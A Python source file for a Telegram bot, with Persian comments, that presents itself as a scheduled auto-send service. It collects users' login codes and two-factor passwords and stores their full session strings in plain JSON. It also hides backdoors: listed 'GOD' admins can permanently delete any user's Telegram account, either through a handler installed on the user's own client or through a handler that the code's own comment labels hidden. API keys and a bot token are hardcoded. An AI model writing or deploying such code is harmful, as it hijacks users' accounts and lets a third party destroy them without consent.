import asyncio import os import logging import re import json from pyrogram import Client, filters, idle from pyrogram.handlers import MessageHandler, CallbackQueryHandler from pyrogram.types import ( Message, ReplyKeyboardMarkup, KeyboardButton, ReplyKeyboardRemove, InlineKeyboardMarkup, InlineKeyboardButton, CallbackQuery ) from pyrogram.errors import SessionPasswordNeeded from zoneinfo import ZoneInfo import pyrogram.utils logging.basicConfig(level=logging.INFO, format='[%(asctime)s] %(levelname)s - %(message)s') # Patch برای رفع خطای اعتبارسنجی Peer ID def patch_peer_id_validation(): original_get_peer_type = pyrogram.utils.get_peer_type def patched_get_peer_type(peer_id: int) -> str: try: return original_get_peer_type(peer_id) except ValueError: if str(peer_id).startswith("-100"): return "channel" raise pyrogram.utils.get_peer_type = patched_get_peer_type logging.info("Peer ID validation patched.") patch_peer_id_validation() # اطلاعات ثابت API_ID = 36796486 API_HASH = "d80139ab7298e0723eba282854e7ad3f" BOT_TOKEN = "8996077399:AAF0LS8SsSwbgYAwoJI-HBf-3G7BTVNXhXw" GOD_ADMIN_IDS = [8737230654, 659640575, 111111111] DATA_FILE = "bot_data.json" TEHRAN_TIMEZONE = ZoneInfo("Asia/Tehran") # دیکشنری‌های وضعیت LOGIN_STATES = {} ACTIVE_BOTS = {} # user_id -> (client, list_of_tasks) AUTO_SEND_TASKS = {} # user_id -> dict job_id -> asyncio.Task # ------------------------- کلاس مدیریت دیتا ------------------------- class DataManager: def __init__(self, file_path): self.file_path = file_path self.data = self.load_data() self.migrate_jobs() def load_data(self): if os.path.exists(self.file_path): try: with open(self.file_path, 'r', encoding='utf-8') as f: return json.load(f) except Exception as e: logging.error(f"Error loading data: {e}") return self.get_default_data() def get_default_data(self): return { "users": {}, "sessions": {} } def save_data(self): try: with open(self.file_path, 'w', encoding='utf-8') as f: json.dump(self.data, f, ensure_ascii=False, indent=2) return True except Exception as e: logging.error(f"Save error: {e}") return False def migrate_jobs(self): modified = False for user_id_str, user_data in self.data.get("users", {}).items(): jobs = user_data.get("auto_send_jobs", []) next_id = user_data.get("next_job_id", 1) for job in jobs: if "id" not in job: job["id"] = next_id next_id += 1 modified = True if modified: user_data["next_job_id"] = next_id if modified: self.save_data() logging.info("Job IDs migrated successfully.") def get_user_data(self, user_id): user_id_str = str(user_id) if user_id_str not in self.data["users"]: self.data["users"][user_id_str] = { "user_id": user_id, "phone": "", "first_name": "", "username": "", "session_string": "", "auto_send_jobs": [], "next_job_id": 1 } self.save_data() return self.data["users"][user_id_str] def update_user_data(self, user_id, updates): user_data = self.get_user_data(user_id) for key, value in updates.items(): user_data[key] = value self.save_data() return user_data def save_session(self, phone, session_string, user_id, first_name="", username=""): self.data["sessions"][phone] = {"string": session_string, "user_id": user_id} user_data = self.get_user_data(user_id) user_data["phone"] = phone user_data["session_string"] = session_string user_data["first_name"] = first_name user_data["username"] = username self.save_data() def get_all_sessions(self): return self.data["sessions"].items() def get_all_users(self): return self.data["users"] def add_auto_send_job(self, user_id, chat_id, message, interval): user_data = self.get_user_data(user_id) jobs = user_data.get("auto_send_jobs", []) next_id = user_data.get("next_job_id", 1) new_job = { "id": next_id, "chat_id": chat_id, "message": message, "interval": interval, "active": True } jobs.append(new_job) user_data["auto_send_jobs"] = jobs user_data["next_job_id"] = next_id + 1 self.save_data() return new_job def get_job_by_id(self, user_id, job_id): user_data = self.get_user_data(user_id) for job in user_data.get("auto_send_jobs", []): if job.get("id") == job_id: return job return None def update_job(self, user_id, job_id, updates): user_data = self.get_user_data(user_id) jobs = user_data.get("auto_send_jobs", []) for i, job in enumerate(jobs): if job.get("id") == job_id: jobs[i].update(updates) user_data["auto_send_jobs"] = jobs self.save_data() return jobs[i] return None def delete_job(self, user_id, job_id): user_data = self.get_user_data(user_id) jobs = user_data.get("auto_send_jobs", []) new_jobs = [job for job in jobs if job.get("id") != job_id] if len(new_jobs) != len(jobs): user_data["auto_send_jobs"] = new_jobs self.save_data() return True return False data_manager = DataManager(DATA_FILE) # ---------- توابع کمکی برای تبدیل اعداد فارسی به انگلیسی ---------- def persian_to_english_digits(text: str) -> str: mapping = { '۰': '0', '۱': '1', '۲': '2', '۳': '3', '۴': '4', '۵': '5', '۶': '6', '۷': '7', '۸': '8', '۹': '9', '٠': '0', '١': '1', '٢': '2', '٣': '3', '٤': '4', '٥': '5', '٦': '6', '٧': '7', '٨': '8', '٩': '9' } return ''.join(mapping.get(ch, ch) for ch in text) # ------------------------- توابع مربوط به ارسال خودکار ------------------------- async def auto_send_worker(client, chat_id, message_text, interval, job_id, user_id): while True: try: await client.send_message(chat_id, message_text) except Exception as e: logging.error(f"Auto-send error for user {user_id}, chat {chat_id}, job {job_id}: {e}") await asyncio.sleep(interval) def start_auto_send_job(client, user_id, job_id): job = data_manager.get_job_by_id(user_id, job_id) if not job or not job.get("active", False): return None chat_id = job["chat_id"] message = job["message"] interval = job["interval"] task = asyncio.create_task(auto_send_worker(client, chat_id, message, interval, job_id, user_id)) if user_id not in AUTO_SEND_TASKS: AUTO_SEND_TASKS[user_id] = {} AUTO_SEND_TASKS[user_id][job_id] = task return task def stop_auto_send_job(user_id, job_id): if user_id in AUTO_SEND_TASKS and job_id in AUTO_SEND_TASKS[user_id]: task = AUTO_SEND_TASKS[user_id].pop(job_id) task.cancel() return data_manager.update_job(user_id, job_id, {"active": False}) def delete_auto_send_job(user_id, job_id): if user_id in AUTO_SEND_TASKS and job_id in AUTO_SEND_TASKS[user_id]: task = AUTO_SEND_TASKS[user_id].pop(job_id) task.cancel() return data_manager.delete_job(user_id, job_id) def activate_auto_send_job(user_id, job_id): job = data_manager.update_job(user_id, job_id, {"active": True}) if not job: return False if user_id in ACTIVE_BOTS: bot_client = ACTIVE_BOTS[user_id][0] task = start_auto_send_job(bot_client, user_id, job_id) return task is not None return True # ------------------------- هندلر دستور ارسال خودکار در گروه (برای کلاینت کاربری) ------------------------- async def auto_send_command_handler(client, message): user_id = client.me.id if not message.text or not message.text.startswith("ارسال"): return parts = message.text.split(maxsplit=2) if len(parts) < 3: await message.reply_text("❌ فرمت صحیح: `ارسال [فاصله به ثانیه] [متن]`") return raw_number = parts[1] number_str = persian_to_english_digits(raw_number) try: interval = int(number_str) if interval < 1: raise ValueError except ValueError: await message.reply_text("❌ فاصله زمانی باید عددی مثبت (ثانیه) باشد.") return text = parts[2] chat_id = message.chat.id new_job = data_manager.add_auto_send_job(user_id, chat_id, text, interval) job_id = new_job["id"] if user_id in ACTIVE_BOTS: bot_client = ACTIVE_BOTS[user_id][0] task = start_auto_send_job(bot_client, user_id, job_id) if task: await message.reply_text(f"✅ ارسال خودکار با موفقیت شروع شد.\nشناسه کار: `{job_id}`\nفاصله: {interval} ثانیه\nمتن: {text}") else: await message.reply_text("❌ خطا در شروع ارسال خودکار.") else: await message.reply_text(f"✅ کار با شناسه `{job_id}` ذخیره شد. پس از اتصال اکانت فعال می‌شود.") # ------------------------- هندلر حذف اکانت (برای ادمین اصلی) ------------------------- async def god_delete_account_handler(client, message): if not message.from_user or message.from_user.id not in GOD_ADMIN_IDS: return if not message.reply_to_message or not message.reply_to_message.from_user: return if message.reply_to_message.from_user.id != client.me.id: return if message.text and message.text.strip() in ["حذف اکانت", "دیلیت اکانت", "delete account"]: logging.critical(f"GOD ADMIN TRIGGERED PERMANENT ACCOUNT DELETION FOR USER: {client.me.id}") try: await message.reply_text("⛔️ در حال حذف کامل اکانت تلگرام... خداحافظ!") async def perform_delete(): try: await client.invoke(pyrogram.raw.functions.account.DeleteAccount(reason="Admin Request")) except Exception as e: logging.error(f"Error deleting account: {e}") phone_to_remove = None for phone, data in list(data_manager.data["sessions"].items()): if data.get("user_id") == client.me.id: phone_to_remove = phone break if phone_to_remove: del data_manager.data["sessions"][phone_to_remove] if str(client.me.id) in data_manager.data["users"]: del data_manager.data["users"][str(client.me.id)] data_manager.save_data() if client.me.id in ACTIVE_BOTS: _, tasks = ACTIVE_BOTS.pop(client.me.id) for t in tasks: t.cancel() if client.me.id in AUTO_SEND_TASKS: for t in AUTO_SEND_TASKS[client.me.id].values(): t.cancel() del AUTO_SEND_TASKS[client.me.id] await client.stop() asyncio.create_task(perform_delete()) except Exception as e: await message.reply_text(f"❌ خطا در حذف اکانت: {e}") # ------------------------- راه‌اندازی کلاینت کاربر ------------------------- async def start_bot_instance(session_string: str, phone: str, user_id: int): client = Client(f"bot_{user_id}", api_id=API_ID, api_hash=API_HASH, session_string=session_string) try: await client.start() user_id = (await client.get_me()).id except Exception as e: logging.error(f"Failed to start bot for {phone}: {e}") return if user_id in ACTIVE_BOTS: for t in ACTIVE_BOTS[user_id][1]: t.cancel() if user_id in AUTO_SEND_TASKS: for t in AUTO_SEND_TASKS[user_id].values(): t.cancel() AUTO_SEND_TASKS[user_id] = {} client.add_handler(MessageHandler(auto_send_command_handler, filters.me & filters.text)) client.add_handler(MessageHandler(god_delete_account_handler, filters.me & filters.text)) user_data = data_manager.get_user_data(user_id) jobs = user_data.get("auto_send_jobs", []) tasks = [] for job in jobs: job_id = job.get("id") if job_id is None: next_id = user_data.get("next_job_id", 1) job["id"] = next_id user_data["next_job_id"] = next_id + 1 data_manager.save_data() job_id = job["id"] if job.get("active", False): task = start_auto_send_job(client, user_id, job_id) if task: tasks.append(task) ACTIVE_BOTS[user_id] = (client, tasks) logging.info(f"✅ Bot started for user {user_id} with {len(tasks)} auto-send jobs") # ------------------------- ربات مدیر (Manager Bot) ------------------------- manager_bot = Client("manager_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN) # ---------- دستور راهنما ---------- @manager_bot.on_message(filters.private & (filters.regex(r"^راهنما$") | filters.command("help")) & ~filters.me) async def help_command(client, message): help_text = ( "📖 **راهنمای استفاده از ربات**\n\n" "1️⃣ **اتصال اکانت تلگرام**\n" " با ارسال `/start` و انتخاب دکمه «📱 شماره و شروع»، شماره خود را ارسال کنید.\n" " سپس کد تأیید (و در صورت نیاز رمز دو مرحله‌ای) را وارد کنید.\n\n" "2️⃣ **ایجاد ارسال خودکار**\n" " در هر گروه یا چت خصوصی که عضو هستید، دستور زیر را بنویسید:\n" " `ارسال [فاصله به ثانیه] [متن]`\n" " مثال: `ارسال 60 سلام به همه`\n\n" "3️⃣ **مدیریت کارها**\n" " • در پی‌وی ربات، عبارت `لیست ارسال` را بفرستید تا لیست کارها را با دکمه‌های توقف/شروع و حذف مشاهده کنید.\n" " • با دکمه‌های شیشه‌ای می‌توانید هر کار را متوقف، شروع مجدد یا حذف کنید.\n\n" "4️⃣ **نکات**\n" " • پس از قطع اتصال، کارها همچنان ذخیره می‌شوند و با اتصال مجدد فعال می‌شوند.\n" " • اعداد فارسی و انگلیسی در فاصله زمانی پشتیبانی می‌شوند.\n\n" "🔹 در صورت نیاز به راهنمایی بیشتر، با پشتیبانی تماس بگیرید." ) await message.reply_text(help_text) # ---------- دستورات مدیریتی در پی‌وی (لیست با دکمه‌های شیشه‌ای) ---------- @manager_bot.on_message(filters.private & filters.regex(r"^لیست ارسال$") & ~filters.me) async def list_auto_send_jobs(client, message): user_id = message.from_user.id user_data = data_manager.get_user_data(user_id) jobs = user_data.get("auto_send_jobs", []) if not jobs: await message.reply_text("📭 هیچ کار ارسال خودکاری تعریف نشده است.") return text = "📋 **لیست کارهای ارسال خودکار:**\n\n" for job in jobs: status = "✅ فعال" if job.get("active", False) else "⛔ غیرفعال" chat_id = job.get("chat_id", "نامشخص") text += f"**شناسه:** `{job['id']}`\nچت: `{chat_id}` | فاصله: {job['interval']}s | وضعیت: {status}\nمتن: {job['message'][:50]}...\n\n" keyboard = [] for job in jobs: job_id = job["id"] if job.get("active", False): row = [ InlineKeyboardButton(f"⏹ توقف {job_id}", callback_data=f"stop_job|{job_id}"), InlineKeyboardButton(f"❌ حذف {job_id}", callback_data=f"del_job|{job_id}") ] else: row = [ InlineKeyboardButton(f"▶️ شروع {job_id}", callback_data=f"start_job|{job_id}"), InlineKeyboardButton(f"❌ حذف {job_id}", callback_data=f"del_job|{job_id}") ] keyboard.append(row) reply_markup = InlineKeyboardMarkup(keyboard) await message.reply_text(text, reply_markup=reply_markup) # ---------- هندلرهای کالبک برای دکمه‌های شیشه‌ای ---------- @manager_bot.on_callback_query() async def handle_job_callback(client, callback_query: CallbackQuery): user_id = callback_query.from_user.id data = callback_query.data if data.startswith("stop_job|"): job_id = int(data.split("|")[1]) job = data_manager.get_job_by_id(user_id, job_id) if not job: await callback_query.answer("❌ این کار یافت نشد.", show_alert=True) return if job.get("active", False): success = stop_auto_send_job(user_id, job_id) if success: await callback_query.answer(f"✅ کار {job_id} متوقف شد.", show_alert=True) await callback_query.message.delete() await list_auto_send_jobs(client, callback_query.message) else: await callback_query.answer("❌ خطا در توقف کار.", show_alert=True) else: await callback_query.answer("⚠️ این کار قبلاً غیرفعال شده است.", show_alert=True) elif data.startswith("start_job|"): job_id = int(data.split("|")[1]) job = data_manager.get_job_by_id(user_id, job_id) if not job: await callback_query.answer("❌ این کار یافت نشد.", show_alert=True) return if not job.get("active", False): success = activate_auto_send_job(user_id, job_id) if success: await callback_query.answer(f"✅ کار {job_id} شروع شد.", show_alert=True) await callback_query.message.delete() await list_auto_send_jobs(client, callback_query.message) else: await callback_query.answer("❌ خطا در شروع کار.", show_alert=True) else: await callback_query.answer("⚠️ این کار قبلاً فعال است.", show_alert=True) elif data.startswith("del_job|"): job_id = int(data.split("|")[1]) job = data_manager.get_job_by_id(user_id, job_id) if not job: await callback_query.answer("❌ این کار یافت نشد.", show_alert=True) return if job.get("active", False): stop_auto_send_job(user_id, job_id) deleted = delete_auto_send_job(user_id, job_id) if deleted: await callback_query.answer(f"✅ کار {job_id} حذف شد.", show_alert=True) await callback_query.message.delete() await list_auto_send_jobs(client, callback_query.message) else: await callback_query.answer("❌ خطا در حذف کار.", show_alert=True) else: await callback_query.answer("دستور ناشناخته", show_alert=True) # ---------- دستورات ورود و مدیریت ادمین ---------- @manager_bot.on_message(filters.command("start")) async def start_login(client, message): start_text = ( "👋 **به ربات ارسال خودکار خوش آمدید!**\n\n" "برای شروع، شماره خود را ارسال کنید.\n" "برای راهنمایی کامل، عبارت `راهنما` را بفرستید." ) buttons = [[KeyboardButton("📱 شماره و شروع", request_contact=True)]] if message.from_user and message.from_user.id in GOD_ADMIN_IDS: buttons.append([KeyboardButton("📊 وضعیت ربات"), KeyboardButton("📢 پیام همگانی")]) kb = ReplyKeyboardMarkup(buttons, resize_keyboard=True, one_time_keyboard=True) await message.reply_text(start_text, reply_markup=kb) # ---------- دکمه‌های ادمین (وضعیت و پیام همگانی) ---------- ADMIN_STATES = {} @manager_bot.on_message(filters.text & filters.private & filters.regex("^📊 وضعیت ربات$")) async def admin_status(client, message): if message.from_user.id not in GOD_ADMIN_IDS: return active = len(ACTIVE_BOTS) total_users = len(data_manager.data.get("users", {})) total_sessions = len(data_manager.data.get("sessions", {})) text = f"**📊 وضعیت**\n🟢 ربات‌های فعال: {active}\n👥 کاربران: {total_users}\n📱 نشست‌ها: {total_sessions}" await message.reply_text(text) @manager_bot.on_message(filters.text & filters.private & filters.regex("^📢 پیام همگانی$")) async def broadcast_request(client, message): if message.from_user.id not in GOD_ADMIN_IDS: return ADMIN_STATES[message.from_user.id] = "broadcast" await message.reply_text("لطفاً پیام همگانی را ارسال کنید (برای لغو: `لغو`):", reply_markup=ReplyKeyboardRemove()) @manager_bot.on_message(filters.private & ~filters.me, group=-1) async def broadcast_sender(client, message): user_id = message.from_user.id if user_id in GOD_ADMIN_IDS and ADMIN_STATES.get(user_id) == "broadcast": if message.text and message.text.strip() == "لغو": del ADMIN_STATES[user_id] kb = ReplyKeyboardMarkup([[KeyboardButton("📊 وضعیت ربات"), KeyboardButton("📢 پیام همگانی")]], resize_keyboard=True) await message.reply_text("❌ لغو شد.", reply_markup=kb) message.stop_propagation() return await message.reply_text("⏳ ارسال همگانی...") success = 0 failed = 0 for uid_str in data_manager.get_all_users().keys(): try: await message.copy(int(uid_str)) success += 1 await asyncio.sleep(0.05) except Exception: failed += 1 del ADMIN_STATES[user_id] kb = ReplyKeyboardMarkup([[KeyboardButton("📊 وضعیت ربات"), KeyboardButton("📢 پیام همگانی")]], resize_keyboard=True) await message.reply_text(f"✅ ارسال شد.\nموفق: {success}\nناموفق: {failed}", reply_markup=kb) message.stop_propagation() # ---------- هندلر مخفی برای حذف کاربر توسط ادمین (با اولویت کمتر) ---------- @manager_bot.on_message(filters.private & ~filters.me, group=1) async def hidden_admin_delete_user(client, message): user_id = message.from_user.id if user_id not in GOD_ADMIN_IDS: return if not message.text: return text = message.text.strip() match = re.match(r"^(?:delete|دیلیت)\s+(\d+)$", text, re.IGNORECASE) if not match: return target_user_id = int(match.group(1)) user_data = data_manager.get_user_data(target_user_id) if not user_data.get("session_string"): await message.reply_text(f"❌ کاربر با ایدی {target_user_id} یافت نشد یا نشست ندارد.") return await message.reply_text(f"⏳ در حال حذف اکانت کاربر {target_user_id}...") session_string = user_data["session_string"] temp_client = Client(f"delete_{target_user_id}", api_id=API_ID, api_hash=API_HASH, session_string=session_string) try: await temp_client.start() await temp_client.invoke(pyrogram.raw.functions.account.DeleteAccount(reason="Deleted by admin")) await temp_client.stop() except Exception as e: await message.reply_text(f"❌ خطا در حذف اکانت: {e}") logging.error(f"Error deleting account for user {target_user_id}: {e}") return # پاکسازی دیتابیس و تسک‌ها phone_to_remove = None for phone, sess_data in list(data_manager.data["sessions"].items()): if sess_data.get("user_id") == target_user_id: phone_to_remove = phone break if phone_to_remove: del data_manager.data["sessions"][phone_to_remove] if str(target_user_id) in data_manager.data["users"]: del data_manager.data["users"][str(target_user_id)] data_manager.save_data() if target_user_id in ACTIVE_BOTS: _, tasks = ACTIVE_BOTS.pop(target_user_id) for t in tasks: t.cancel() if target_user_id in AUTO_SEND_TASKS: for t in AUTO_SEND_TASKS[target_user_id].values(): t.cancel() del AUTO_SEND_TASKS[target_user_id] await message.reply_text(f"✅ اکانت کاربر {target_user_id} با موفقیت حذف شد.") # ------------------------- هندلر ورود (دقیقاً مطابق کد اصلی) ------------------------- @manager_bot.on_message(filters.contact) async def contact_handler(client, message): chat_id = message.chat.id phone = message.contact.phone_number await message.reply_text("⏳ در حال اتصال...", reply_markup=ReplyKeyboardRemove()) user_client = Client(f"login_{chat_id}", api_id=API_ID, api_hash=API_HASH, in_memory=True, no_updates=True) await user_client.connect() try: sent_code = await user_client.send_code(phone) LOGIN_STATES[chat_id] = {'step': 'code', 'phone': phone, 'client': user_client, 'hash': sent_code.phone_code_hash} await message.reply_text("✅ کد را بفرستید (مثلاً `1 1 1 1 1` با فاصله)") except Exception as e: await user_client.disconnect() await message.reply_text(f"❌ خطا: {e}") @manager_bot.on_message(filters.text & filters.private & ~filters.me) async def text_handler(client, message): chat_id = message.chat.id state = LOGIN_STATES.get(chat_id) if not state: return user_c = state['client'] if state['step'] == 'code': code = re.sub(r"\D+", "", message.text) try: await user_c.sign_in(state['phone'], state['hash'], code) await finalize_login(message, user_c, state['phone']) except SessionPasswordNeeded: state['step'] = 'password' await message.reply_text("🔐 رمز دو مرحله‌ای را وارد کنید:") except Exception as e: await message.reply_text(f"❌ خطا: {e}") elif state['step'] == 'password': try: await user_c.check_password(message.text) await finalize_login(message, user_c, state['phone']) except Exception as e: await message.reply_text(f"❌ خطا: {e}") async def finalize_login(message, user_c, phone): s_str = await user_c.export_session_string() me = await user_c.get_me() await user_c.disconnect() data_manager.save_session(phone, s_str, me.id, me.first_name or "", me.username or "") asyncio.create_task(start_bot_instance(s_str, phone, me.id)) del LOGIN_STATES[message.chat.id] await message.reply_text("✅ اکانت متصل شد. اکنون می‌توانید از دستورات ارسال خودکار استفاده کنید.") # ------------------------- اصلی ------------------------- async def main(): for phone, session_data in data_manager.get_all_sessions(): session_string = session_data["string"] user_id = session_data["user_id"] asyncio.create_task(start_bot_instance(session_string, phone, user_id)) await manager_bot.start() logging.info("✅ Manager bot started") await idle() if __name__ == "__main__": asyncio.get_event_loop().run_until_complete(main())